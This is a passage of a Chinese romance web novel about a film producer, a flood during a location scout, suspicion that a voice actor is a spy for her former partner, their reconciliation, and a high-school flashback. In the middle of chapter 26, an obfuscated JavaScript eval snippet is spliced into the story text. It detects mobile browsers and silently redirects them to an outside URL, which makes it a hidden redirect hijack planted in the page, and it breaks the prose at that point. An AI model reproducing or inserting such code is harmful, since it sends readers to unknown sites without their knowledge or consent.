"才怪!"西江月跟进房间,一屁股坐在床上,"你明明就很欣赏他,每次他配音你都会不自觉地往前倾——别否认,我观察到了!"
辛森打开行李箱,把洗漱用品摆进浴室,故意弄出很大声响。西江月不依不饶地跟过来,靠在门框上。
"说真的,林叙人不错,专业能力强,对你又明显有好感——"
"我们是为了工作来的。"辛森关上水龙头,直视西江月,"别搞其他事情。"
西江月举起双手做投降状,"好吧好吧。不过..."她狡黠地眨眨眼,"山中一夜,什么都有可能发生哦~"
辛森抓起毛巾扔过去,西江月大笑着躲开。
一小时后,团队在民宿大厅集合。林叙换了件深蓝色冲锋衣,衬得肩膀格外宽厚。他正在检查背包里的装备:手电筒、急救包、录音设备...专业得像个探险家。
"准备很充分。"辛森忍不住评价。
林叙抬头微笑,"大学时参加过登山社。"他递给她一个对讲机,"山里信号不好,这个更可靠。"
辛森接过对讲机,指尖不小心碰到他的手掌,一股暖意从接触点蔓延开来。她迅速缩回手,将对讲机别在腰带上。
废墟位于半山腰,需要徒步一小时。山路起初还算平坦,渐渐变得崎岖难行。辛森走在队伍最前面,不时停下来等其他人跟上。林叙则走在最后,确保没有人掉队。
"看!就是那里!"西江月突然指向前方。
透过树林间隙,一栋废弃的工厂建筑若隐若现。斑驳的水泥墙上爬满藤蔓,破碎的窗户像空洞的眼睛,静静注视着闯入者。
团队兴奋地加快脚步。辛森却停在原地,一种奇怪的熟悉感击中了她——这场景太像《星云》中的设定了,机械师就是在一处类似的废墟中找回记忆的。
"怎么了?"林叙走到她身边。
"没什么。"辛森摇摇头,"只是觉得...太巧了。"
林叙若有所思地看着废墟,"有时候现实比虚构更离奇。"
进入工厂内部,团队立刻分散开来收集素材。美术指导忙着拍摄锈蚀的机械结构,音效师录制环境声音,西江月则坐在一堆砖块上疯狂打字,灵感显然源源不断。
辛森沿着墙壁慢慢行走,手指轻抚过斑驳的痕迹。这里曾经有多少工人忙碌?他们留下了什么故事?这种对"痕迹"的敏感是她做制片的优势,总能从细节中挖掘出打动人心的元素。
"辛制片!"林叙的声音从上方传来,"这里有个不错的取景角度。"
辛森抬头,看见他站在一段摇摇欲坠的金属楼梯上。理智告诉她这很危险,但职业本能驱使她走了上去。
楼梯发出不祥的吱呀声,但还算稳固。到达平台后,视野豁然开朗——整个工厂内部尽收眼底,阳光透过破损的屋顶洒下,形成一道道光柱,灰尘在其中缓缓飘舞,宛如时光的碎片。
"完美。"辛森不自觉地感叹,"这就是主角第一次看到阳光的场景。"
"我就知道你会喜欢。"林叙的声音很近。辛森转头,发现他站在一步之遥的地方,阳光在他的睫毛上投下细小的阴影。那一瞬间,他确实有几分像颜从行——如果颜从行的眼中能有这样真诚的温度的话。
辛森迅速移开视线,假装检查平台结构。"这里不安全,拍完照就下去吧。"
他们回到地面时,天色已经开始变暗。西江月提议再多待一会儿,捕捉黄昏的光线变化。辛森刚要反对,一滴冰凉的雨水落在她脸上。
"下雨了?"她抬头看向天空,不知何时乌云已经密布,"天气预报没说今天有雨。"
雨势迅速变大,豆大的雨点砸在铁皮屋顶上,发出震耳的轰鸣。团队匆忙收拾装备准备撤离,但就在这时,一声巨响从远处传来,紧接着是西江月的尖叫。
"山洪!"有人大喊。
辛森转头看去,只见一股浑浊的水流正从山坡上冲下来,转眼间就漫到了工厂门口。西江月被困在了对面,洪水已经没过了她的膝盖。
"所有人上二楼!"林叙的声音突然变得异常沉稳有力,"辛制片,你带大家上去。我去救西江月。"
不等回应,他已经蹚入水中。辛森想拦住他,但职业本能让她立刻组织其他人撤离。当他们安全到达二楼平台时,林叙已经半抱着西江月向这边移动。
洪水越来越急,水位迅速上涨。有几次林叙差点被冲倒,但他始终紧紧抓着西江月。最后一段距离,水已经没到胸口,他几乎是托举着西江月前进。
辛森趴在平台边缘伸出手,其他人抓住她的腿防止她掉下去。当林叙终于把西江月推到安全区域时,一股更大的水流冲来,瞬间将他卷走。
"林叙!"辛森失声喊道。
几秒钟后,林叙的身影出现在下游一根水泥柱旁,他敏捷地抓住突出的钢筋,艰难地爬了上来。
"我没事!"他朝这边喊道,声音穿透雨幕,"找安全的地方等我!"
辛森数着心跳,直到确认林叙安全抵达一处高地,才转身检查西江月的情况。西江月浑身发抖,但除了几处擦伤并无大碍。
"他救了我,"西江月牙齿打颤地说,"水流把我冲倒时,是他抓住了我。"
辛森脱下外套裹住她,"别说话,保存体力。"
雨越下越大,工厂的屋顶开始漏水。团队挤在一处相对干燥的角落,用背包和外套搭建临时遮蔽。天色完全暗下来,只有偶尔的闪电照亮四周。
"救援什么时候能到?"美术指导担忧地问。
辛森检查对讲机,只有杂音。"洪水可能冲毁了山路,今晚恐怕要在这里过夜了。"
一阵不安的骚动传遍团队。这时,对讲机突然响起林叙的声音:"辛制片,能听到吗?"
辛森立刻回应:"收到,我们安全。你那边情况如何?"
"我在上游的一间工具棚里,暂时安全。洪水正在退去,但夜间可能有二次爆发。你们保持在高处,明早我来找你们。"
他的声音平稳而可靠,奇迹般地安抚了众人的情绪。辛森正要回应,西江月突然抢过对讲机:"林叙!给我们讲个故事吧!就像《星云》里机械师在黑暗中给同伴讲故事那样!"
对讲机那头沉默了几秒,然后传来林叙低低的笑声。"好啊。"他说,然后声音忽然变了,变成了机械师那种带着金属质感的声线:"''在第七次系统重启后,我发现了那段被加密的记忆...''"
所有人都安静下来,连呼吸都放轻了。林叙的声音通过电波传来,仿佛真的变成了那个在废墟中寻找自我的机械师。他即兴创作了一段剧本中没有的独白,讲述机械师在雨夜听到人类心跳声的感受。
辛森抱膝坐着,下巴搁在膝盖上。黑暗中,林叙的声音像一条温暖的毯子包裹着她。她闭上眼睛,仿佛能看到机械师站在雨中的身影——孤独,但充满希望。
不知过了多久,林叙的声音渐渐低下去。"大家休息吧,"他恢复了本来的声音,"保持对讲机畅通,有情况随时联系。"
西江月已经靠在辛森肩上睡着了。其他人也陆续进入梦乡,只有辛森还醒着,望着漏雨的屋顶发呆。
对讲机又响了,调成了私人频道。"辛制片?"林叙的声音很轻,"你还醒着吗?"
辛森拿起对讲机,走到稍远的角落。"嗯。"
"西江月没事吧?"
"只是轻微擦伤和惊吓,睡了。"
"那就好。"一阵静电杂音,"你...还好吗?"
这个简单的问题让辛森喉咙发紧。多少年了,从没有人问她"还好吗"。在颜从行工作室,她永远是那个解决问题的人,而不是被关心的对象。
"我很好。"她习惯性地说,然后停顿了一下,"...其实有点冷。"
"工具棚里有条旧毯子,可惜送不过去。"林叙的声音充满歉意,"试试深呼吸,能帮助保持体温。"
辛森照做了,意外地发现确实有用。"你是登山社的时候学的?"
"嗯。大三去阿尔卑斯集训时遇到暴风雪,困在山洞里两天。"他的语气轻松,仿佛在讲别人的故事,"那时候才明白,人的适应能力有多强。"
辛森想起颜从行——他连片场温度低两度都要发脾气,更别说被困在什么地方了。"你很擅长应对危机。"
"职业需要。"林叙轻笑,"配音演员经常要想象极端情境下的反应。比如现在,我就假装自己是《星云》里在太空站故障中求生的宇航员。"
辛森不自觉地微笑,"那宇航员同志,我们明天能脱险吗?"
"当然。"他的声音坚定而温暖,"暴风雨总会过去。"
他们就这样有一搭没一搭地聊着,从《星云》的角色塑造到行业趣闻,再到各自入行的经历。不知何时,辛森发现自己讲起了第一次见到颜从行的场景——那是她入行前的事了,她从未对任何人提起过。
25 迷雾重重
"...那时候他刚出道,在一个小剧场演出。我坐在第一排,他唱完歌看向观众时,眼神正好和我对上。"辛森摩挲着对讲机,"很俗套的桥段,对吧?"
对讲机那头沉默了一会儿。"不,我能理解。"林叙的声音轻柔,"那种被瞬间击中的感觉。"
辛森突然意识到自己说了什么,急忙转移话题:"你为什么会选择配音这个行业?"
"因为声音比外表更真实。"林叙的回答出乎意料,"一个人可以伪装表情,但很难完全伪装声音里的情绪。"
雨声渐渐小了,辛森透过破损的屋顶看到几颗星星。"雨停了。"
"嗯,我看到星星了。"林叙说,仿佛他们正望着同一片天空,"睡一会儿吧,天亮了我就来找你们。"
辛森回到角落,靠着墙壁闭上眼睛。半梦半醒间,她仿佛听到对讲机里传来一句很轻的"晚安",但她不确定是不是幻觉。
第二天清晨,阳光唤醒了团队。洪水已经退去,留下满地泥泞。林叙如约而至,除了衣服脏了点,看起来精神不错。
"山路被冲毁了一段,但民宿那边没事。"他递给每人一瓶水和能量棒,"老板娘说救援队中午能到。"
回程的路上,团队气氛出奇地好,大家甚至开始把这次经历当作《星云》的创作素材。西江月一瘸一拐地走在最前面,绘声绘色地描述自己被救的经过。
"林叙简直像动作片主角!"她夸张地比划着,"一个飞扑抓住我,然后——"
"然后差点被一起冲走。"林叙笑着补充,"多亏那根钢筋。"
辛森走在队伍最后,检查着相机里的素材。尽管遭遇意外,但这次采风收获颇丰——不仅是创作素材,还有团队的凝聚力。
"辛制片。"林叙放慢脚步等她,"昨晚...谢谢你聊天。"
辛森抬头看他,阳光照在他的侧脸上,勾勒出一道明亮的轮廓。确实有点像颜从行,但又不完全相同——林叙的眼睛更温暖,笑容更有生气。
"应该是我谢谢你。"她轻声说,"你救了大家。"
林叙摇摇头,"团队协作而已。"他犹豫了一下,"关于你昨晚说的...关于颜从行的事..."
辛森的表情瞬间冷了下来。"那只是工作经历。"
"我明白。"林叙识趣地没再追问,"只是想说,你很优秀,不应该活在任何人阴影下。"
辛森没有回应,但心里某个角落因为这句话而微微发烫。
回到民宿后,老板娘坚持让他们洗个热水澡再走。辛森最后一个洗完,出来时发现团队其他人都聚在大厅里吃老板娘煮的面条,只有林叙不在。
"他接了个电话就急匆匆出去了。"西江月嘴里塞满面条,"说是有急事,让我们先回城。"
辛森点点头,没多想。但当他们收拾行李准备离开时,她发现林叙的工作证掉在了走廊上。捡起来时,一张卡片从夹层里滑出——那是一张名片,上面印着"银河边际制作组特别顾问林叙"。
辛森盯着名片,血液仿佛凝固了。《银河边际》,颜从行和虞婧的项目。林叙是他们的特别顾问?
"辛森!车来了!"西江月在门外喊道。
辛森迅速把工作证和名片塞进口袋,面色如常地走出去。但她的思绪已经乱成一团——林叙接近她是为了什么?窃取《星云》的创意?还是颜从行派他来监视自己?
上车前,她最后看了一眼青云山。昨夜的星空,雨中的对讲机谈话,林叙救人的身影...这一切都是演技吗?
口袋里的名片像一块冰,贴着她的皮肤,久久不化。
辛森回到杭州后,立刻将林叙的工作证和那张名片锁进了抽屉。她没有告诉任何人,包括西江月。
接下来的几天,她强迫自己专注于《星云》的制作。配音进度、美术设计、宣传方案……每一项工作她都亲自把关,甚至比以往更加严格。团队里的人明显感受到了她的紧绷,但没人敢多问。
西江月倒是敏锐地察觉到了什么。
“你最近怎么了?”某天晚上,西江月抱着一堆零食闯进辛森的临时办公室,一屁股坐在她的桌子上,“自从采风回来,你就跟个机器人似的,连笑都不笑一下。”
辛森头也不抬地翻着配音进度表:“工作忙。”
“少来!”西江月一把抽走她手里的文件,“你是不是还在想林叙的事?”
辛森的手指微微一顿,但很快恢复如常:“他怎么了?”
“他这几天都没来录音棚,说是家里有事。”西江月撇撇嘴,“但我觉得不对劲,他平时可敬业了,连感冒都要坚持录音。”
辛森垂下眼,指尖轻轻敲着桌面。她想起那天在青云山,林叙接完电话后匆匆离开的背影。
“你跟他关系不错?”她状似随意地问道。
“还行吧,他挺有意思的。”西江月耸耸肩,“不过我觉得他对你更感兴趣,每次开会都偷偷看你。”
辛森没接话,只是默默把文件拿了回来。
“哎,你到底怎么了?”西江月凑近她,压低声音,“是不是……他做了什么?”
辛森终于抬起头,直视西江月的眼睛:“你相信直觉吗?”
“当然!”西江月毫不犹豫,“我的直觉可是超准的!”
“那如果有一天,你发现某个你很信任的人,其实从一开始就带着目的接近你……”辛森的声音很轻,“你会怎么做?”
西江月愣了一下,随即瞪大眼睛:“你是说林叙?!”
辛森没有正面回答,只是从抽屉里拿出那张名片,推到西江月面前。
西江月低头一看,脸色瞬间变了:“《银河边际》……特别顾问?!”
“他从来没提过。”辛森的声音冷静得可怕,“而且,他是在我们采风那天接到的电话,之后就不见了。”
西江月猛地站起来,在办公室里来回踱步:“这不对劲!如果他真的是《银河边际》的人,为什么要来我们这儿?偷创意?还是……”
“或者,他是颜从行派来的。”辛森淡淡地说。
西江月倒吸一口冷气:“颜从行疯了吧?都散伙了还玩这套?”
辛森摇摇头:“我不知道。但无论如何,我们得小心。”
西江月咬了咬牙:“要不要直接找他问清楚?”
“不。”辛森站起身,走到窗边,“如果他真有目的,问了也没用。我们按原计划推进《星云》,但核心创意暂时不要让他接触。”
西江月点点头,但很快又皱起眉:“可他已经录了不少配音了,换人来得及吗?”
“先别换。”辛森转过身,眼神坚定,“如果他真的有问题,我们反而可以利用他。”
西江月眼睛一亮:“你是说……反间计?”
辛森微微一笑:“既然有人想玩谍战,我们就陪他玩。”
第二天,辛森主动给林叙发了消息:【配音进度有点慢,明天能来录音棚吗?】
林叙很快回复:【抱歉,家里有点事耽误了,明天一定到。】
辛森盯着屏幕,指尖轻轻敲了敲:【好,等你。】
发完这条消息,她立刻拨通了端木同的电话。
“端木姐,我需要你帮个忙。”
电话那头,端木同的声音依旧冷静:“说吧。”
“我想查一个人。”辛森的声音很轻,“林叙。”
录音棚里,林叙如约而至。他看起来有些疲惫,但依旧专业地完成了当天的配音任务。辛森站在控制室,透过玻璃静静观察着他。
他的声音依旧完美,情感把控精准,甚至比之前更加投入。
“这段情绪很棒。”录音结束后,辛森走进棚内,递给他一瓶水,“最近很累?”
林叙接过水,笑了笑:“有点私事,不过不影响工作。”
辛森点点头,状似随意地问:“对了,你之前说你是学配音的,辅修制片……是在哪所大学?”
林叙喝水的动作微微一顿,但很快恢复自然:“北影。”
“哦?”辛森挑眉,“那和颜从行是校友?”
林叙的表情有一瞬间的僵硬,但很快笑了:“算是吧,不过他比我大好几届,没什么交集。”
辛森若有所思地点点头,没再追问。
离开录音棚后,她立刻给端木同发了条消息:【查到了吗?】
很快,回复来了:【林叙确实是北影毕业,但他在《银河边际》立项前就签了保密协议,具体内容不详。】
辛森盯着手机屏幕,眼神渐冷。
果然,他隐瞒了什么。
晚上,辛森独自坐在酒店房间里,面前摊开着《星云》的剧本。她翻到主角觉醒的那一幕,目光停留在那句台词上:
“你给了我人类的心,却不告诉我如何承受它。”
她轻轻抚过这行字,忽然觉得讽刺。
林叙的声音完美演绎了这句话,可他自己呢?他接近她,是为了什么?
就在这时,手机震动起来。是一条陌生号码发来的短信:
【小心林叙。他不是你以为的那个人。】
辛森盯着这条信息,心跳陡然加快。
是谁发的?
她立刻回拨过去,但电话那头只有冰冷的提示音:“您拨打的号码是空号……”
辛森握紧手机,一种被窥视的不安感涌上心头。
这场游戏,似乎比她想象的更加危险。
26
颜从行站在《银河边际》的剪辑室里,指尖在触摸屏上来回滑动。监控画面中的辛森正在《星云》发布会现场调试全息投影。
"颜老师,水军已经就位。"助理捧着平板站在门边,"只要您点头,三分钟内#星云抄袭#就会冲上热搜第一。"
全息影像突然爆出电流声,机械师的脸在蓝光中扭曲成怪诞的笑。
颜从行猛地攥紧座椅扶手,骨节发出脆响:"把通稿里的''剽窃''改成''疑似借鉴''。"
"可是虞总说……"
"需要我教你听话吗?"他抬眼的瞬间,助理踉跄着后退撞上门框。
同日傍晚星云工作室。
辛森盯着热搜榜上迟迟未爆的词条,指尖在键盘上悬停。舆论战的硝烟味已经弥漫整个楼层,西江月抱着成摞的对比图来回踱步:"颜从行这是要钝刀子割肉?"
"他在等我们自乱阵脚。"辛森将监控录像拖进编辑软件,"把昨天林叙调试设备的片段剪进去,尤其是他调整八音盒音轨的特写。"
西江月凑过来看屏幕:"你这是要坐实他间谍身份?"
"不。"辛森按下导出键,"我要给颜从行递刀。"
当#星云音轨惊现银河旋律#冲上热搜时,辛森正站在颜从行公寓楼下。雨水顺着黑伞骨淌成珠帘,密码锁还是五年前她设置的生日日期。
荧幕上播放着《银河边际》初剪版,机械战甲胸口的玫瑰浮雕正与《星云》概念图如出一辙。
颜从行陷在真皮沙发里,手里把玩着辛森落在玄关的茶花发卡。
"你故意留的破绽够低级的。"他按下暂停键,画面上正是林叙修改音轨的手部特写,"这么想让我毁了他?"
辛森将温好的清酒推过去:"是给你机会毁了我。"
琥珀色液体在琉璃杯里晃出涟漪,映出两人交叠的影子。颜从行忽然掐住她手腕按在沙发上,发卡尖刺陷入掌心:"你以为我不敢?"
血珠渗进真皮纹路时,辛森仰头笑了:"你连密码都没换。"
骤雨拍打落地窗的声响吞没了衣物摩擦声。
颜从行咬住她肩头的动作像头困兽,却在触及那道陈年旧伤时骤然松开——那是当年被黑粉围堵的时候,辛森为了送他上车被划伤的。
辛森整理好自己的衣服,看着颜从行。
他们已经有好些日子没有这样面对面了。
辛森松了一口气。
算了,毕竟是颜从行。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474887|169923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是她开口说:“小颜——”
这是很久她都没有用的一个称呼。
她对颜从行说:“咱们握手言和好吗?”
颜从行盯着她:“你觉得你还能和你握手言和,辛森,是你先从我这里离开的,是你!也是你刚离开工作室,立刻就联系了你的朋友从我这里拿走了资源。”
辛森低下头,西江月的出现是一个例外,但是她必须要承认,她当时听到这个消息的时候,十分动心。
“我当时想离开杭州来着。”
她说的情真意切:“不如我还是按照我的原计划,只要你不要再做手脚了。”
颜从行冷笑一声:“辛森,没有这么简单的事情。”
辛森皱皱眉,她心想,还是走到这一步了。
于是她从包里取出一个文件。
“小颜,我依旧可以离开杭州。”
颜从行挑了挑眉,那是他的诊断单。
诊疗日期密集分布在颜从行拿影帝那半年,医嘱栏潦草写着"电击疗法禁忌"。
"辛森啊,"颜从行倚在门框上,衬衣皱得不像话,"这才像你嘛,拿着能毁了我的东西,来威胁我,嘴里依旧说的好听,像是在为我着想。"
"你其实一直都知道,那年我说在瑞士滑雪,其实是……是像畜生一样被捆在治疗床上!"
颜从行突然暴怒着钳着辛森的手腕。
“我可以不知道。”辛森说,“小颜,别闹了。”
颜从行抬起头来:“辛森,你答应跟我在一起,答应再也不离开,我就乖下来。”
辛森猛地抬头,太多不确定让她脑子都有些嗡嗡地。
“虞婧呢?”
“早就分手了。”
谁也没想到故事竟然就这么结束了。
西江月那边得到辛森和颜从行在一起的消息之后目瞪口呆。
她给辛森打电话时语气都是颤抖地:“他是不是威胁你了?”
那边却突然传来颜从行冷哼的声音。
“没有没有,”辛森笑着说,“他好像是怕我走,才做了这么多事。”
“那你呢?你这些年的苦就白吃了?”
辛森想了一会儿,才说:“如果是这么个结局的话,也不算白吃了苦。”
她又说:“总之,一切结束吧,我也有些累了。”
西江月骂骂咧咧地挂了电话,后来半夜爬起来,还是要骂一句她这位朋友的恋爱脑。
可是事情都这样了,还有什么要说的呢。
或者,早就该这样了。
西江月又掀过被子,她管这一些干嘛,反正辛森能力又不差,工作上的事情她处理的一直很有分寸,如今颜从行那边不闹了,林叙自然也安静下来了,那就这样吧,有钱赚的人是西江月。
反正又不亏,西江觉开始放心的睡觉了。
只是翻来覆去几个小时,还是起床拉开窗户喊了一声:“辛森你个智障。”
得到了楼上楼下的怒骂声,西江月心满意足地真的开始补觉了。
27 西江月遇到了姜旭
西江月的高中时期很快乐。
这跟辛森的记忆相悖,好似在辛森的记忆里,她的高中都是苦闷的。
可是大约同一段记忆,不同的人来记载会呈现出不一样的效果。
西江月从来不要求辛森改变自己的人生态度。
但这不妨碍她真情实感地喜欢自己的每一段人生记忆。
蝉鸣撕开九月的晨雾,西江月蹲在自动贩卖机前研究卡住的可乐罐。薄荷绿裙摆铺在水泥地上,脚踝上的银链子随着动作叮咚作响。
"需要帮忙吗?"
清冽的男声从头顶落下时,西江月正试图用学生卡撬开出货口。她仰起头,看见少年修长的手指按下退币键,机器发出欢快的叮咚声。白色校服袖口卷到手肘,露出一截冷白的手腕。
"同学你睫毛好长!"西江月蹦起来时撞到对方下巴,慌忙从书包里掏出独立包装的湿巾,"我叫西江月,今天刚转来高二(3)班!"
姜旭看着被塞进掌心的樱花味湿巾,想起上周在教师办公室听到的对话。"西董说月月味觉特别敏感,只爱吃咱们食堂的红烧肉......"班主任的声音被窗外的广播操音乐冲散。
"姜旭?年级第一那个姜旭?"少女突然举起手机,屏幕上是校园论坛的荣誉榜照片,"他们说你是行走的图书馆哎!"
少年沉默地拧开乌龙茶,瞥见她手腕上的红绳串着个月牙吊坠。冰凉的易拉罐外壁凝出水珠,落在她限量版运动鞋上。
辛森第一次注意西江月,是在食堂豆浆机前。转学生正踮着脚研究价目表,羊皮书包随意丢在塑料椅上,露出半截法语原版漫画。
"酒酿圆子为什么要放枸杞呀?"西江月突然转头问她,鼻尖沾着糯米粉,"你们南方人都这么养生吗?"
辛森还没回答,就被塞了个热气腾腾的烧麦。"尝尝!这个虾仁是现剥的!"西江月眼睛亮晶晶的,"我蹲守了三天才发现,陈师傅每周二会偷偷用鲜虾仁替换冷冻货!"
姜旭端着餐盘经过时,看见西江月正用银勺偷渡豆沙馅给辛森。她手腕上的智能手表闪着蓝光,却用来给水煎包掐秒表:"再等37秒就有完美冰花脆底!"
雨突然砸在玻璃窗上。西江月把最后一只虾饺推给辛森,蹦跳着去关窗户。姜旭看见她昂贵的羊绒围巾被随意系在椅背,而椅脚处汪着不知谁打翻的豆浆。
值日表被雨水晕染得斑驳。西江月蹲在走廊尽头系鞋带,听见女厕传来细碎的嗤笑。
"又是她害班级扣分..."
"今早那个书包顶我半年生活费..."
"装什么平易近人..."
辛森抱着作业本出现时,西江月正用创可贴修补运动鞋侧边的小裂口。看见她抬头时毫无阴霾的笑容,辛森突然理解班主任说的"这孩子天生带着光"。
"他们说让你扫操场。"辛森用保温杯碰了碰她手背,"我陪你。"
西江月却雀跃地指着窗外:"雨后的银杏叶做标本最好了!"她冲进雨幕时马尾散开,发绳上的小月亮挂坠滚到姜旭脚边。
少年弯腰捡起时,闻到淡淡的橙花香。远处传来西江月的惊呼,她正试图用扫帚够树梢的柿子,浅蓝色校服溅满泥点。辛森举着伞追过去,却见姜旭已经默不作声地接过她手里的落叶筐。
这就是他们三个人最初成为好朋友的契机。
晚自习的铃声惊飞雀鸟。西江月咬着酸奶吸管路过便利店,暖黄灯光里晃动着熟悉的背影。姜旭正在整理货架,冷白的手指拂过泡面包装袋,腕骨凸起好看的弧度。
"姜同学?"她趴在玻璃窗上呵出白雾,"给我留份关东煮呀!"
少年手抖撒了半包薯片。西江月已经钻进店内,发梢沾着夜露:"原来你在这打工!要不要考虑接私人委托?"她从钱包里抽出粉色便签,"帮我带早餐,时薪按便利店三倍算!"
姜旭低头擦拭收银台,看见便签角落画着只打盹的猫。玻璃映出少女晃悠的小腿,麂皮短靴上挂着便利店赠送的樱花挂件。
"不用。"他把找零放进她掌心,硬币残留着体温,"顺路的事。"
初春的雨水顺着食堂铁皮屋檐连成珠串,西江月把最后一块红糖糍粑塞进嘴里时,看见了玻璃窗外的少年。姜旭撑着一柄骨架变形的黑伞走过水洼,洗得发白的校服裤脚卷到脚踝,露出嶙峋的踝骨像株伶仃的芦苇。
"他总不吃早饭。"辛森突然出声,笔尖在错题本上洇出墨点。西江月转头看见好友镜片上蒙着豆浆的热气,塑料勺正把咸蛋黄均匀铺在米粥里——这是她们心照不宣的仪式,自打上月西江月把哭闹的辛森从器材室找回来之后。
第二天晨读前,西江月抱着保温桶蹲在高三(2)班后门。姜旭的座位在教室最后一排,窗台上摆着洗净的牛奶瓶,插着几枝带着露水的野蔷薇。他低头做题时脖颈弯成好看的弧度,橡皮屑落在洗得泛黄的书包带上。
"我妈做的酒酿圆子!"西江月砰地把保温桶搁在课桌上,惊飞了落在窗台的灰喜鹊,"辛森说你胃不好。"她看见少年握笔的手顿了顿,虎口处有道新鲜的裂口,像是被什么锐器划伤的。
姜旭抬头时睫毛在眼下投出小片阴影,西江月突然发现他右眼尾有颗浅褐色的痣。保温桶被推回来的瞬间,她听见自己腕上的银镯撞在桌角,发出清越的响。
那天的值日生名单是西江月偷偷改的。暮色染红走廊时,她攥着扫把溜进空教室,却看见姜旭已经站在凳子上擦玻璃。夕阳把他的影子拉得很长,投在贴满奖状的墙上像株舒展的竹子。水桶里泡着几件校服外套,都不是他的尺寸。
"你在帮别人做值日?"西江月把橘子汽水放在窗台,气泡在玻璃瓶里咕嘟咕嘟往上蹿。姜旭的袖口滴着水,露出半截小臂上蜿蜒的旧疤:"他们给我补习费。"
蝉鸣最盛的午后,西江月在图书馆后墙找到了姜旭。少年蜷在香樟树荫下补觉,习题集摊在膝头,钢笔夹在指缝将落未落。她看见他鞋底开胶的裂缝里夹着片银杏叶,忽然想起上周路过教师办公室时听到的只言片语:"姜旭妈妈的精神状态......转学手续......"
暴雨来得猝不及防。西江月蹲在便利店屋檐下数雨滴,看见姜旭冒雨冲进对面药店。她隔着玻璃窗望见他掏出零钱时颤抖的手指,塑料袋里露出的药盒印着陌生的外文字母。
西江月做过一件顶蠢的事情,她在知道姜旭家里的遭遇后,曾经偷偷把自己的卡塞到了姜旭的书包里。
那里面有她攒了很久的零花钱。
可是那时候的少女,想事情没有那么周到,也不敢把这份心意光明正大的表现出来。
于是她没有说明这件事,只希望姜旭能自己偷偷把钱用了。
后来没有。
她的手机上一条短信也没有收到。
但是那张卡,也没有再回到她手里。
她想问,又怕这会让姜旭的自尊心受到打击。
只是从那天开始,姜旭晚上放学会接她一起。
哪怕家里已经乱的不成样子,少年依旧坚持每天放学抽出半个小时的时间,和西江月一块放学。
辛森很聪明的避开了他们。
同样也没有告诉西江月,姜旭可能很快就要转学了。
后来西江月想,那可能是高中时期唯一的一点遗憾。
姜旭只和她们一块玩了半年就走了。
走的时候,却把卡还给了她。
“别再丢了。”
姜旭这样说。
然后等到某一天西江月突然又想起这件事情的时候,她遇到了长大后的姜旭。
西江月那天非常狼狈,她的手机关机了,人又着急要去参加一个会,一时半会无法付咖啡厅的账,偏偏今天出来的急,现金和卡都没带。
"女士,您手机没电了的话我这里可以给您提供充电宝。"店员指了指柜台边的共享充电设备。西江月看着自己黑屏的手机,懊悔不该在下雨天绕路买这杯咖啡。
"好,麻烦你帮我充一下电吧,手机开机了我立刻付账。"她把手机递给店员,盯着墙上的挂钟——离会议开始只剩二十分钟。
"我来吧。"
西江月以为是陌生男人搭讪,刚要回头婉拒,却对上一双沉静的眼睛。
姜旭站在两步之外,穿着略显发旧的浅蓝衬衫,袖口整齐地卷到小臂。他递出手机的动作利落,镜片后的眉目比十年前更深刻,唯有右眼尾那颗小痣的位置丝毫未变。
雨天淅淅淋淋的白噪音中,西江月嗅到他衣领间极淡的香味。
这个瞬间她忽然确信,这场猝不及防的重逢,足够点亮接下来十年的所有雨天。